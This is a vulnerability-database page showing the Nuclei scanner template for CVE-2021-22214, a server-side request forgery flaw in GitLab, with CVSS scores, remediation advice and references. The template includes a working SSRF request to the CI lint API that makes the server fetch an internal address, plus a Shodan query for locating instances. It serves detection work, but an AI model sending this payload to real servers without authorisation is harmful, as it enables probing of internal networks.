Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2021-22214
HistoryJun 17, 2021 - 12:43 p.m.

Gitlab CE/EE 10.5 - Server-Side Request Forgery

2021-06-1712:43:03
ProjectDiscovery
github.com
8

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.8 High

AI Score

Confidence

High

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

0.093 Low

EPSS

Percentile

94.7%

GitLab CE/EE versions starting from 10.5 are susceptible to a server-side request forgery vulnerability when requests to the internal network for webhooks are enabled, even on a GitLab instance where registration is limited. The same vulnerability actually spans multiple CVEs, due to similar reports that were fixed across separate patches. These CVEs are:
id: CVE-2021-22214

info:
  name: Gitlab CE/EE 10.5 - Server-Side Request Forgery
  author: Suman_Kar,GitLab Red Team
  severity: high
  description: |
    GitLab CE/EE versions starting from 10.5 are susceptible to a server-side request forgery vulnerability when requests to the internal network for webhooks are enabled, even on a GitLab instance where registration is limited. The same vulnerability actually spans multiple CVEs, due to similar reports that were fixed across separate patches. These CVEs are:
    - CVE-2021-39935
    - CVE-2021-22214
    - CVE-2021-22175
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further attacks on the system.
  remediation: |
    Upgrade Gitlab CE/EE to a version that is not affected by the vulnerability (10.6 or higher).
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22214
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39935
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22175
    - https://vin01.github.io/piptagole/gitlab/ssrf/security/2021/06/15/gitlab-ssrf.html
    - https://docs.gitlab.com/ee/api/lint.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2021-22214
    cwe-id: CWE-918
    epss-score: 0.09317
    epss-percentile: 0.94551
    cpe: cpe:2.3:a:gitlab:gitlab:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gitlab
    product: gitlab
    shodan-query: http.title:"GitLab"
  tags: cve2021,cve,gitlab,ssrf

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/v4/ci/lint?include_merged_yaml=true"

    body: |
      {"content": "include:\n  remote: http://127.0.0.1:9100/test.yml"}

    headers:
      Content-Type: application/json
    host-redirects: true
    max-redirects: 3
    matchers:
      - type: word
        part: body
        words:
          - "does not have valid YAML syntax"
# digest: 4b0a00483046022100ff420e3f4d9d72d0aa090c7edd70646581bc6078a639d8c4eecddd0e337109bc022100f49642428c995841527b11d305d4c38776bd64b61bd40052ed4faca9e93d9c75:922c64590222798bb761d5b6d8e72950

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.8 High

AI Score

Confidence

High

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

0.093 Low

EPSS

Percentile

94.7%